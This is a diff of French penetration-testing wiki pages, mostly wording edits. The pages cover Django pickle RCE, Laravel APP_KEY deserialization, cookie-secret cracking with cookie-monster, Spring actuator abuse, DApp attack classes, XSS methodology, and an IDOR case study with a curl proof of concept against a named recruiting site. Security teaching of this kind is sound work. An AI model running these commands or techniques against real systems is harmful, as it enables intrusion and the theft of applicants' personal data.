Selon la documentation W3C, les objets `window.location` et `document.location` sont traités comme des alias dans les navigateurs modernes. C'est pourquoi ils ont une mise en œuvre similaire de certaines méthodes et propriétés, ce qui pourrait causer un redirection ouverte et un XSS DOM avec des attaques au schéma `javascript://` comme mentionné ci-dessous.
|
||||
|
||||
* `window.location.href`(et `document.location.href`)
|
||||
|
||||
@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Django
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Manipulation du cache pour RCE
|
||||
La méthode de stockage par défaut du cache de Django est [Python pickles](https://docs.python.org/3/library/pickle.html), ce qui peut conduire à RCE si [des entrées non fiables sont dé-picklées](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Si un attaquant peut obtenir un accès en écriture au cache, il peut escalader cette vulnérabilité en RCE sur le serveur sous-jacent**.
|
||||
@ -64,7 +64,7 @@ Envoyez le cookie résultant, et le payload s'exécute avec les permissions du w
|
||||
|
||||
---
|
||||
|
||||
## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Devraient Vérifier
|
||||
## CVEs Django à Fort Impact Récents (2023-2025) que les Pentesters Doivent Vérifier
|
||||
* **CVE-2025-48432** – *Injection de Log via `request.path` non échappé* (corrigé le 4 juin 2025). Permet aux attaquants de faire passer des nouvelles lignes/des codes ANSI dans les fichiers journaux et de polluer l'analyse des journaux en aval. Niveau de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Injection SQL critique* dans `QuerySet.values()/values_list()` sur `JSONField` (CVSS 9.8). Créez des clés JSON pour sortir des guillemets et exécuter du SQL arbitraire. Corrigé dans 4.2.15 / 5.0.8.
|
||||
|
||||
@ -73,7 +73,7 @@ Toujours identifier la version exacte du framework via la page d'erreur `X-Frame
|
||||
---
|
||||
|
||||
## Références
|
||||
* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 adressent CVE-2025-48432" – 4 juin 2025.
|
||||
* OP-Innovate : "Django publie des mises à jour de sécurité pour corriger la faille d'injection SQL CVE-2024-42005" – 11 août 2024.
|
||||
* Publication de sécurité Django – "Django 5.2.2, 5.1.10, 4.2.22 traitent CVE-2025-48432" – 4 juin 2025.
|
||||
* OP-Innovate : "Django publie des mises à jour de sécurité pour traiter la faille d'injection SQL CVE-2024-42005" – 11 août 2024.
|
||||
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# Laravel
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Laravel SQLInjection
|
||||
|
||||
@ -20,7 +20,7 @@ Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'u
|
||||
"tag" : "" // only used for AEAD ciphers (GCM)
|
||||
}
|
||||
```
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir un RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
`encrypt($value, $serialize=true)` va `serialize()` le texte en clair par défaut, tandis que `decrypt($payload, $unserialize=true)` **va automatiquement `unserialize()`** la valeur décryptée. Par conséquent, **tout attaquant qui connaît le secret de 32 octets `APP_KEY` peut créer un objet PHP sérialisé chiffré et obtenir RCE via des méthodes magiques (`__wakeup`, `__destruct`, …)**.
|
||||
|
||||
Minimal PoC (framework ≥9.x):
|
||||
```php
|
||||
@ -57,8 +57,8 @@ Le script prend en charge de manière transparente à la fois les charges utiles
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Le flux d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env, ou brute-force)
|
||||
Le flux de travail d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
|
||||
2. Générer un gadget avec **PHPGGC**
|
||||
3. `laravel_crypto_killer.py encrypt …`
|
||||
4. Livrer la charge utile via le paramètre/cookie vulnérable → **RCE**
|
||||
@ -67,12 +67,12 @@ Le flux d'exploitation est toujours :
|
||||
|
||||
## Découverte de masse d'APP_KEY via brute-force de cookie
|
||||
|
||||
Parce que chaque nouvelle réponse Laravel définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
Parce que chaque réponse Laravel fraîche définit au moins 1 cookie chiffré (`XSRF-TOKEN` et généralement `laravel_session`), **les scanners Internet publics (Shodan, Censys, …) fuient des millions de textes chiffrés** qui peuvent être attaqués hors ligne.
|
||||
|
||||
Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs toujours vulnérables à l'ancien CVE-2018-15133 car les tokens contiennent directement des données sérialisées.
|
||||
* >1 000 serveurs encore vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
@ -85,9 +85,6 @@ L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1
|
||||
* [PHPGGC – Chaînes de gadgets PHP génériques](https://github.com/ambionics/phpggc)
|
||||
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Astuces Laravel
|
||||
|
||||
### Mode débogage
|
||||
@ -101,7 +98,7 @@ Ceci est généralement nécessaire pour exploiter d'autres CVE RCE Laravel.
|
||||
|
||||
### .env
|
||||
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres identifiants dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env`
|
||||
Laravel enregistre l'APP qu'il utilise pour chiffrer les cookies et d'autres informations d'identification dans un fichier appelé `.env` qui peut être accessible en utilisant un certain chemin de traversée sous : `/../.env`
|
||||
|
||||
Laravel affichera également cette information sur la page de débogage (qui apparaît lorsque Laravel trouve une erreur et qu'elle est activée).
|
||||
|
||||
@ -166,11 +163,11 @@ decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1
|
||||
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
|
||||
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')
|
||||
```
|
||||
### Laravel Deserialization RCE
|
||||
### Laravel Désérialisation RCE
|
||||
|
||||
Versions vulnérables : 5.5.40 et 5.6.x à travers 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
Versions vulnérables : 5.5.40 et 5.6.x jusqu'à 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
|
||||
|
||||
Ici, vous pouvez trouver des informations sur la vulnérabilité de désérialisation ici : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
Ici, vous pouvez trouver des informations sur la vulnérabilité de désérialisation : [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
|
||||
|
||||
Vous pouvez la tester et l'exploiter en utilisant [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
|
||||
Ou vous pouvez également l'exploiter avec metasploit : `use unix/http/laravel_token_unserialize_exec`
|
||||
@ -189,7 +186,7 @@ Lisez des informations à ce sujet ici : [https://stitcher.io/blog/unsafe-sql-fu
|
||||
|
||||
---
|
||||
|
||||
## APP_KEY & Encryption internals (Laravel \u003e=5.6)
|
||||
## APP_KEY & Internes de chiffrement (Laravel \u003e=5.6)
|
||||
|
||||
Laravel utilise AES-256-CBC (ou GCM) avec intégrité HMAC en arrière-plan (`Illuminate\\Encryption\\Encrypter`).
|
||||
Le texte chiffré brut qui est finalement **envoyé au client** est **Base64 d'un objet JSON** comme :
|
||||
@ -236,7 +233,7 @@ Le script prend en charge de manière transparente à la fois les charges utiles
|
||||
|--------|-----------------|-------------------|
|
||||
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
|
||||
| Snipe-IT ≤v6 (CVE-2024-48987) | Cookie `XSRF-TOKEN` lorsque `Passport::withCookieSerialization()` est activé | Laravel/RCE9 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → cookie `laravel_session` | Laravel/RCE15 |
|
||||
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → Cookie `laravel_session` | Laravel/RCE15 |
|
||||
|
||||
Le flux d'exploitation est toujours :
|
||||
1. Obtenir `APP_KEY` (exemples par défaut, fuite Git, fuite config/.env ou brute-force)
|
||||
@ -254,7 +251,7 @@ Principales conclusions de la recherche publiée par Synacktiv (2024-2025) :
|
||||
* Ensemble de données juillet 2024 » 580 k tokens, **3,99 % des clés craquées** (≈23 k)
|
||||
* Ensemble de données mai 2025 » 625 k tokens, **3,56 % des clés craquées**
|
||||
* >1 000 serveurs toujours vulnérables à la CVE-2018-15133 héritée car les tokens contiennent directement des données sérialisées.
|
||||
* Réutilisation massive des clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur fournies avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
* Réutilisation massive de clés – les 10 meilleures APP_KEY sont des valeurs par défaut codées en dur livrées avec des modèles Laravel commerciaux (UltimatePOS, Invoice Ninja, XPanel, …).
|
||||
|
||||
L'outil Go privé **nounours** pousse le débit de brute-force AES-CBC/GCM à ~1,5 milliard d'essais/s, réduisant le craquage de l'ensemble de données complet à <2 minutes.
|
||||
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# NodeJS Express
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Signature de cookie
|
||||
|
||||
@ -18,7 +18,7 @@ cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json
|
||||
```
|
||||
### Tester plusieurs cookies en mode batch avec une liste de mots personnalisée
|
||||
### Tester plusieurs cookies en utilisant le mode batch avec une liste de mots personnalisée
|
||||
```bash
|
||||
cookie-monster -b -f cookies.json -w custom.lst
|
||||
```
|
||||
@ -28,4 +28,4 @@ Si vous connaissez le secret, vous pouvez signer le cookie.
|
||||
```bash
|
||||
cookie-monster -e -f new_cookie.json -k secret
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,13 +8,13 @@
|
||||
|
||||
**Provenant de** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
|
||||
|
||||
## Exploitation des Spring Boot Actuators
|
||||
## Exploitation des Actuators Spring Boot
|
||||
|
||||
**Vérifiez le post original de** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
|
||||
|
||||
### **Points Clés :**
|
||||
|
||||
- Les Spring Boot Actuators enregistrent des points de terminaison tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
|
||||
- Les Actuators Spring Boot enregistrent des points de terminaison tels que `/health`, `/trace`, `/beans`, `/env`, etc. Dans les versions 1 à 1.4, ces points de terminaison sont accessibles sans authentification. À partir de la version 1.5, seuls `/health` et `/info` sont non sensibles par défaut, mais les développeurs désactivent souvent cette sécurité.
|
||||
- Certains points de terminaison des Actuators peuvent exposer des données sensibles ou permettre des actions nuisibles :
|
||||
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, et `/heapdump`.
|
||||
- Dans Spring Boot 1.x, les actuators sont enregistrés sous l'URL racine, tandis qu'en 2.x, ils sont sous le chemin de base `/actuator/`.
|
||||
@ -62,8 +62,3 @@ Host: target.com
|
||||
Connection: close
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,14 +1,14 @@
|
||||
# DApps - Applications Décentralisées
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Qu'est-ce qu'un DApp ?
|
||||
|
||||
Un DApp est une application décentralisée qui fonctionne sur un réseau pair-à-pair, plutôt que d'être hébergée sur un serveur centralisé. Les DApps sont généralement construits sur **la technologie blockchain**, ce qui devrait permettre la transparence, la sécurité et l'immuabilité des données.
|
||||
|
||||
## Architecture des DApp Web3
|
||||
## Architecture des DApps Web3
|
||||
|
||||
Selon [**cet article**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications), il existe 3 types différents d'architecture de DApp Web3 :
|
||||
Selon [**cet article**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications), il existe 3 types différents d'architecture de DApps Web3 :
|
||||
|
||||
### DApps "sans API"
|
||||
|
||||
@ -20,7 +20,7 @@ Pour interagir avec la blockchain, le client utilise généralement un **portefe
|
||||
|
||||
Ces DApps sont construits sur une blockchain mais dépendent également d'APIs centralisées généralement pour recueillir des informations. Ils sont **principalement décentralisés** car même s'ils dépendent d'une API centralisée, la fonctionnalité principale du DApp est toujours sur la blockchain. La communication du client avec la blockchain se fait généralement via un **portefeuille**.
|
||||
|
||||
Un bon exemple de ce type de DApp est une **application de minting de NFT**. Le serveur permet de télécharger les images mais le minting est effectué par le client via un portefeuille.
|
||||
Un bon exemple de ce type de DApp est une **application de minting NFT**. Le serveur permet de télécharger les images mais le minting est effectué par le client via un portefeuille.
|
||||
|
||||
### DApps "à grande échelle"
|
||||
|
||||
@ -33,48 +33,48 @@ Un bon exemple de ce type de DApp est un pont inter-chaînes où un composant ho
|
||||
Les vulnérabilités Web2 affectent toujours ce type d'applications bien que leur impact puisse varier :
|
||||
|
||||
- Les **vulnérabilités côté client** ont un impact accru car dans les DApps Web3, le client est généralement celui qui **effectue les opérations sur la blockchain** via un portefeuille. Cela signifie que des attaques comme XSS qui parviennent à exécuter du code JS côté client ou qui altèrent le contenu de la page peuvent avoir un impact plus important car elles peuvent **interagir avec le portefeuille** et convaincre l'utilisateur d'effectuer des opérations indésirables sur la blockchain.
|
||||
- Notez que généralement même dans ce type d'applications, le client peut toujours examiner les opérations avant de les signer avec le portefeuille. Cependant, si l'attaquant parvient à altérer le contenu de la page, il peut convaincre l'utilisateur de signer une transaction qui effectuera une opération indésirable sur la blockchain.
|
||||
- Les **vulnérabilités côté serveur** sont toujours présentes dans les DApps qui dépendent d'un serveur backend. L'impact de ces vulnérabilités dépendra de l'architecture du DApp. Cependant, elles pourraient encore être très problématiques car un attaquant pourrait trouver dans le backend **des clés de l'entreprise** pour accéder aux fonds des contrats intelligents, ou pourrait effectuer une prise de contrôle de compte qui pourrait leur permettre de voler des fonds ou des NFT aux utilisateurs.
|
||||
- Notez que généralement, même dans ce type d'applications, le client peut toujours examiner les opérations avant de les signer avec le portefeuille. Cependant, si l'attaquant parvient à altérer le contenu de la page, il peut convaincre l'utilisateur de signer une transaction qui effectuera une opération indésirable sur la blockchain.
|
||||
- Les **vulnérabilités côté serveur** sont toujours présentes dans les DApps qui dépendent d'un serveur backend. L'impact de ces vulnérabilités dépendra de l'architecture du DApp. Cependant, elles pourraient encore être très problématiques car un attaquant pourrait trouver dans le backend des **clés de l'entreprise** pour accéder aux fonds des contrats intelligents, ou pourrait effectuer une prise de contrôle de compte qui pourrait leur permettre de voler des fonds ou des NFTs aux utilisateurs.
|
||||
|
||||
Bien sûr, si le DApp n'utilise pas de backend ou si le backend utilisé n'offre que des données de chaîne publique ou des pages statiques, la surface d'attaque du DApp est réduite.
|
||||
|
||||
## Surface d'attaque Web3
|
||||
|
||||
Même si en général un DApp a une surface d'attaque réduite car plusieurs vérifications de sécurité sont toujours effectuées sur la blockchain, il existe encore certains vecteurs d'attaque qui peuvent être exploités par un attaquant.
|
||||
Même si, en général, un DApp a une surface d'attaque réduite car plusieurs vérifications de sécurité sont toujours effectuées sur la blockchain, il existe encore certains vecteurs d'attaque qui peuvent être exploités par un attaquant.
|
||||
|
||||
Il pourrait être possible de regrouper les vulnérabilités des DApps Web3 dans les catégories suivantes :
|
||||
|
||||
- **Transactions On-Chain mal gérées** : API de transaction mal formatées ou non restreintes, absence de logique d'attente de réponse et de confirmation de bloc, exposition de données sensibles, et gestion incorrecte des transactions échouées, annulées ou de type interne qui permettent des injections de données malveillantes.
|
||||
- **Transactions On-Chain mal gérées** : APIs de transaction mal formatées ou non restreintes, absence de logique d'attente de réponse et de confirmation de bloc, exposition de données sensibles, et gestion incorrecte des transactions échouées, annulées ou de type interne qui permettent des injections de données malveillantes.
|
||||
|
||||
- **Attaques Backend pilotées par des contrats intelligents** : stockage ou synchronisation de données sensibles entre contrats et bases de données sans validation, émissions d'événements non vérifiées ou adresses de contrats, et vulnérabilités exploitables des contrats qui peuvent empoisonner la logique du backend.
|
||||
|
||||
- **Opérations de crypto-actifs défectueuses** : traitement incorrect de différents types de jetons (natifs vs. ERC-20), ignorance de la précision décimale, échecs de transferts ou transactions internes, et acceptation de jetons faux, déflationnistes, de rebase ou sujets à la glissade sans validation, permettant des injections de charges utiles via les métadonnées des jetons.
|
||||
- **Opérations sur les crypto-actifs défectueuses** : traitement incorrect de différents types de jetons (natifs vs. ERC-20), ignorance de la précision décimale, transferts échoués ou transactions internes, et acceptation de jetons faux, déflationnistes, de rebase ou sujets à la glissade sans validation, permettant des injections de charges utiles via les métadonnées des jetons.
|
||||
|
||||
Quelques exemples de [**cet article**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications) :
|
||||
|
||||
### Gas Gaspié : Forcer le backend à effectuer des transactions
|
||||
### Gas Gaspi: Forcer le backend à effectuer des transactions
|
||||
|
||||
Dans le scénario **`Crypto gaspillé en gaz via API non restreinte`**, l'attaquant peut forcer le backend à appeler des fonctions d'un contrat intelligent qui consommeront du gaz. L'attaquant, en envoyant simplement un numéro de compte ETH et sans limites, forcera le backend à appeler le contrat intelligent pour l'enregistrer, ce qui consommera du gaz.
|
||||
Dans le scénario **`Wasted Crypto in Gas via Unrestricted API`**, l'attaquant peut forcer le backend à appeler des fonctions d'un contrat intelligent qui consommeront du gaz. L'attaquant, en envoyant simplement un numéro de compte ETH et sans limites, forcera le backend à appeler le contrat intelligent pour l'enregistrer, ce qui consommera du gaz.
|
||||
|
||||
### DoS : Mauvais temps de gestion des transactions
|
||||
### DoS : Mauvaise gestion du temps de transaction
|
||||
|
||||
Dans le scénario **`Mauvaise gestion du temps de transaction mène à un DoS`**, il est expliqué que parce que le backend maintiendra la requête HTTP ouverte jusqu'à ce qu'une transaction soit effectuée, un utilisateur peut facilement envoyer plusieurs requêtes HTTP au backend, ce qui consommera toutes les ressources du backend et mènera à un DoS.
|
||||
Dans le scénario **`Poor Transaction Time Handling Leads to DoS`**, il est expliqué que parce que le backend maintiendra la requête HTTP ouverte jusqu'à ce qu'une transaction soit effectuée, un utilisateur peut facilement envoyer plusieurs requêtes HTTP au backend, ce qui consommera toutes les ressources du backend et conduira à un DoS.
|
||||
|
||||
### Désynchronisation Backend<-->Blockchain - Condition de course
|
||||
|
||||
Dans le scénario **`Mauvaise gestion du temps de transaction mène à une condition de course`**, il est expliqué que dans un jeu, il était possible pour l'utilisateur d'envoyer une demande de retrait au backend qui enverra à l'utilisateur ses pièces, mais pendant que la transaction était encore en cours de traitement, l'utilisateur a pu utiliser ces pièces pour acheter des objets dans le jeu, les obtenant gratuitement.
|
||||
Dans le scénario **`Poor Transaction Time Handling Leads to Race Condition`**, il est expliqué que dans un jeu, il était possible pour l'utilisateur d'envoyer une demande de retrait au backend qui enverra à l'utilisateur ses pièces, mais pendant que la transaction était encore en cours de traitement, l'utilisateur a pu utiliser ces pièces pour acheter des objets dans le jeu, les obtenant gratuitement.
|
||||
|
||||
Un autre exemple pourrait être de pouvoir utiliser les mêmes pièces pour acheter différents objets car le backend donne immédiatement l'objet à l'utilisateur sans attendre que la transaction soit confirmée et donc sans attendre que le solde de l'utilisateur dans la blockchain soit réduit.
|
||||
|
||||
### Validation de l'adresse du contrat intelligent
|
||||
|
||||
Dans le scénario **`Le backend du pont manque de validation de l'adresse du contrat intelligent`**, il est expliqué comment le backend vérifiait l'adresse du contrat intelligent, il était donc possible pour un attaquant de déployer un faux contrat intelligent, d'y mettre des fonds, d'envoyer la transaction au backend et le backend pensera que l'utilisateur a envoyé des fonds au véritable contrat intelligent et donnera à l'utilisateur les jetons.
|
||||
Dans le scénario **`Bridge Backend Lacks Smart Contract Address Validation`**, il est expliqué comment le backend vérifiait l'adresse du contrat intelligent, il était donc possible pour un attaquant de déployer un faux contrat intelligent, d'y mettre des fonds, d'envoyer la transaction au backend et le backend pensera que l'utilisateur a envoyé des fonds au véritable contrat intelligent et donnera à l'utilisateur les jetons.
|
||||
|
||||
### Mauvaise gestion des classes d'actifs
|
||||
|
||||
Dans le scénario **`Mauvaise gestion des classes d'actifs`**, il est expliqué que le backend confondait un NFT de scam à une adresse avec 1 MATIC, permettant ainsi à l'attaquant d'envoyer des centaines de NFT de scam à l'adresse et d'obtenir 1 MATIC de la plateforme pour chacun d'eux.
|
||||
Dans le scénario **`Mishandling of Asset Classes`**, il est expliqué que le backend confondait un NFT escroc à une adresse avec 1 MATIC, permettant ainsi à l'attaquant d'envoyer des centaines de NFTs escrocs à l'adresse et d'obtenir 1 MATIC de la plateforme pour chacun d'eux.
|
||||
|
||||
## Références
|
||||
- [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
|
||||
## Références
|
||||
|
||||
- [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
```
|
||||
|
||||
```
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
```
|
||||
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -36,15 +36,15 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Étude de cas du monde réel – Plateforme de chatbot McHire (2025)
|
||||
## 2. Étude de cas réelle – Plateforme de chatbot McHire (2025)
|
||||
|
||||
Lors d'une évaluation du portail de recrutement **McHire** alimenté par Paradox.ai, l'IDOR suivant a été découvert :
|
||||
|
||||
* Point de terminaison : `PUT /api/lead/cem-xhr`
|
||||
* Endpoint : `PUT /api/lead/cem-xhr`
|
||||
* Autorisation : cookie de session utilisateur pour **n'importe quel** compte test de restaurant
|
||||
* Paramètre du corps : `{"lead_id": N}` – identifiant numérique **séquentiel** à 8 chiffres
|
||||
* Paramètre de corps : `{"lead_id": N}` – identifiant numérique **séquentiel** à 8 chiffres
|
||||
|
||||
En diminuant `lead_id`, le testeur a récupéré des **PII** complètes d'arbitraires candidats (nom, e-mail, téléphone, adresse, préférences de quart) ainsi qu'un **JWT** consommateur qui permettait le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||||
En diminuant `lead_id`, le testeur a récupéré des **informations personnelles complètes** (nom, e-mail, téléphone, adresse, préférences de quart) d'arbitraires candidats, ainsi qu'un **JWT** consommateur qui permettait le détournement de session. L'énumération de la plage `1 – 64,185,742` a exposé environ **64 millions** d'enregistrements.
|
||||
|
||||
Demande de preuve de concept :
|
||||
```bash
|
||||
@ -52,7 +52,7 @@ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
|
||||
Combined with **default admin credentials** (`123456:123456`) qui ont accordé l'accès au compte de test, la vulnérabilité a entraîné une violation de données critique à l'échelle de l'entreprise.
|
||||
|
||||
---
|
||||
## 3. Impact de l'IDOR / BOLA
|
||||
@ -76,10 +76,8 @@ Combined with **default admin credentials** (`123456:123456`) that granted acces
|
||||
* **OWASP ZAP** : Auth Matrix, Forced Browse.
|
||||
* **Projets Github** : `bwapp-idor-scanner`, `Blindy` (chasse IDOR en masse).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Références
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
# XSS (Cross Site Scripting)
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Méthodologie
|
||||
|
||||
1. Vérifiez si **n'importe quelle valeur que vous contrôlez** (_paramètres_, _chemin_, _en-têtes_?, _cookies_?) est **réfléchie** dans le HTML ou **utilisée** par le code **JS**.
|
||||
2. **Trouvez le contexte** où elle est réfléchie/utilisée.
|
||||
3. Si **réfléchi**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez la charge utile :
|
||||
3. Si **réfléchie**
|
||||
1. Vérifiez **quels symboles vous pouvez utiliser** et en fonction de cela, préparez le payload :
|
||||
1. En **HTML brut** :
|
||||
1. Pouvez-vous créer de nouvelles balises HTML ?
|
||||
2. Pouvez-vous utiliser des événements ou des attributs supportant le protocole `javascript:` ?
|
||||
@ -25,8 +25,8 @@
|
||||
3. Vos entrées sont-elles dans des littéraux de template \`\` ?
|
||||
4. Pouvez-vous contourner les protections ?
|
||||
4. Fonction JavaScript **exécutée**
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par exemple : `?callback=alert(1)`
|
||||
4. Si **utilisé** :
|
||||
1. Vous pouvez indiquer le nom de la fonction à exécuter. par ex. : `?callback=alert(1)`
|
||||
4. Si **utilisée** :
|
||||
1. Vous pourriez exploiter un **DOM XSS**, faites attention à la façon dont votre entrée est contrôlée et si votre **entrée contrôlée est utilisée par un sink.**
|
||||
